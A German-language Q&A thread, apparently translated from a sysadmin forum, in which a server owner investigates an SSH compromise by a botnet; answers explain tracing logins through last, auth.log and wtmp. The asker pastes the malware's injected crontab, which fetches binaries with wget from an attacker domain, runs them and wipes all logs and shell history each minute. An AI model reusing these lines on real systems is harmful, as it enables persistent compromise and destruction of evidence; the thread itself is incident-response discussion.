Verlauf von IP-Adressen, die über ssh auf einen Server zugegriffen haben

Mir ist aufgefallen, dass ein Server von mir gehackt und mit einem bekannten chinesischen Botnetz infiziert wurde.

Es war ein Prototyp / Test einer virtuellen Maschine mit einer eigenen statischen IP (US-Adresse), sodass kein Schaden entstanden ist (ich habe nur eine Weile gebraucht, um das herauszufinden).

Jetzt möchte ich wissen, welche IP / s für das Eindringen verwendet wurden, um festzustellen, ob der Angriff aus China stammte.

Gibt es eine Möglichkeit, den Verlauf empfangener Verbindungen auf ssh auf dem Server anzuzeigen?

Bearbeiten: Das System ist Linux Debian 7

Schauen Sie sich die Ausgabe des lastBefehls an und alles, was eine IP-Adresse oder einen Hostnamen anstelle eines Leerzeichens enthält, ist über das Netzwerk eingegangen. Wenn sshddies auf diesem System der einzige Weg ist, dann können Sie loslegen.

Alternativ (wenn es sich um Linux handelt) können Sie /var/log/secure(auf RH-basierten Distributionen) oder /var/log/auth.log(auf Debian-basierten Distributionen) prüfen, wo sshdin der Regel Verbindungen hergestellt werden, auch wenn sie nicht zu erfolgreichen Anmeldungen führen (welche Treffer utmp/ wtmpwelche) ist das, woraus lastgelesen wird). Beispiel:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

IIRC Solaris sshd(bei denen es sich möglicherweise nicht unbedingt um OpenSSH handelt sshd) protokolliert diese Informationen/var/adm/messages

BEARBEITEN:

@derobert macht einen ausgezeichneten Punkt. Es ist wichtig zu beachten, dass auf jedem System, wenn Ihr Superuser-Konto kompromittiert ist, alle Wetten deaktiviert sind, da Protokolldateien wie /var/log/wtmpoder /var/adm/messagesvom Angreifer geändert werden können. Dies kann verringert werden, wenn Sie Protokolle vom Server an einen sicheren Ort verschieben.

In einem Geschäft, in dem ich früher gearbeitet habe, gab es beispielsweise einen "Audit Vault" -Maschine, der so gesichert war, dass nur die Audit-Protokolldateien von den verschiedenen Servern im Rechenzentrum empfangen wurden. Ich würde empfehlen, in Zukunft ein ähnliches Setup zu haben (da "Ich habe eine Testmaschine" sich anhört, als würden Sie in einem großen Laden arbeiten)

Gibt es eine Möglichkeit, den Verlauf empfangener Verbindungen auf ssh auf dem Server anzuzeigen?

Dies sollte Ihnen eine Liste geben:

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u

Dann können Sie geoiplookupaus dem geoip-binPaket von Hostname oder IP-Adresse zu Land wechseln.

Nun, wie erwartet und wie @Joel Davis sagte, wurden alle Protokolle gelöscht, aber es gab eine Datei, die @Ramesh erwähnte, die einige Versuche hatte, auf den Root-Benutzer zuzugreifen, aber einige Male das richtige Passwort nicht eingab, und dann die Trennung von zu viele Versuche.

Ich habe auf drei der Adressen eine Traceroute durchgeführt, und zwei stammen aus China und die andere aus Pakistan. Dies sind die IPs:

221.120.224.179
116.10.191.218
61.174.51.221

Weitere Informationen zu dem Botnetz, das nach einer Kompromittierung in den Server injiziert wurde:

Hacker bearbeiten crontab, um 7 ausführbare Dateien auszuführen, die x-mal die gesamte CPU verbrauchen, die Netzwerkleistung des Servers maximieren und dann einfach sterben. Außerdem wird die Readme-Datei 100-mal zu crontab hinzugefügt, um die hinzugefügten Zeilen auszublenden. Wenn Sie dies tun, werden crontab -lSie von der Readme-Datei mit ausgeblendeten Zeilen überflutet. Um dies zu umgehen, habe ich verwendet crontab -l | grep -v '^#'und hier ist die Ausgabe dieses Befehls:

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

Wie Sie sehen, werden alle Protokolldateien gelöscht. Aus diesem Grund konnte ich viele Informationen nicht abrufen.

Der gesamte Server (alle VMs) wurde heruntergefahren, was zu Zeitüberschreitungen auf den Sites und im Proxmox führte. Hier ist eine Grafik (die Spitzen kennzeichnen das aktive DDoS-Verhalten des Botnetzes und stellen fest, dass das Netzwerk aus ist):

Infolgedessen füge ich einer Firewall den gesamten Bereich chinesischer IP-Adressen hinzu, um alle Verbindungen zu blockieren (ich habe keine chinesischen Benutzer, das ist mir egal). Außerdem lehne ich Remote-Root-Anmeldungen ab und verwende Long Complex Passwörter. Ich werde höchstwahrscheinlich auch den SSH-Port ändern und auch private SSH-Schlüssel verwenden.

Aus dieser Antwort sehe ich die folgenden Informationen.

Apropos SSH-Server, ich gebe Ihnen Kommandozeilenlösungen.

Verfolgen Sie Benutzeranmeldungen und Abmeldungen . Das ist ganz einfach, die Datei /var/log/auth.logsollte diese Informationen enthalten.

Verfolgen Sie die Aktivitäten dieser Benutzer : Wenn sie etwas unschuldig sind, können Sie die Datei .bash_historyin ihrem Ausgangsverzeichnis überprüfen . Sie sehen eine Liste der Befehle, die sie ausgeführt haben. Das Problem ist natürlich, dass sie diese Datei löschen oder bearbeiten können.

Verhindern, dass Benutzer Protokolle löschen : Benutzer sollten nicht in der Lage sein, zu berühren auth.log. Um zu verhindern, dass sie mit bash_historydir spielen, musst du ein paar Tricks machen.

Was ist, wenn der Benutzer Root-Zugriff erhält? : Du bist beschissen. Wenn er keinen Fehler macht, kann er alle seine Schritte verbergen.

Aus dieser Antwort können wir auch die IP-Adresse eines Clients unter Verwendung der SSH_CLIENTVariablen erkennen.

Auch aus dieser Antwort sehe ich, dass SSH-Verlauf in diesen Dateien gespeichert werden könnte.

Neben /var/log/lastloggibt es 3 Dateien in /var/runund /var/log: utmp, wtmpund btmp, die Informationen über die aktuellen Anmeldungen halten (und weitere Informationen), historische und fehlgeschlagener Logins. Siehe Wiki für eine detaillierte Beschreibung. Sie können die Dateien nicht mit normalen Editoren bearbeiten, sie könnten jedoch gelöscht werden.

Der einfachste Befehl, um die letzten 10 am Computer angemeldeten Benutzer abzurufen, lautet last|head.

Um alle Benutzer zu erreichen, verwenden Sie einfach den lastBefehl

Diese Maschine wurde kompromittiert. Dies bedeutet, dass historischen oder aktuellen Daten nicht mehr vertraut werden kann.

Kurz gesagt, die Antwort lautet nein. Sie können nicht sicher sein, ob Sie die Ursprungsadresse in einer auf diesem System aufgezeichneten Protokolldatei gefunden haben.

Wischen und neu installieren. Und flicken.

So zeigen Sie nur erfolgreiche Anmeldeversuche mit dem Kennwort an:

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted password for'

Für Debian ist die Testsuche etwas anders formuliert

zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'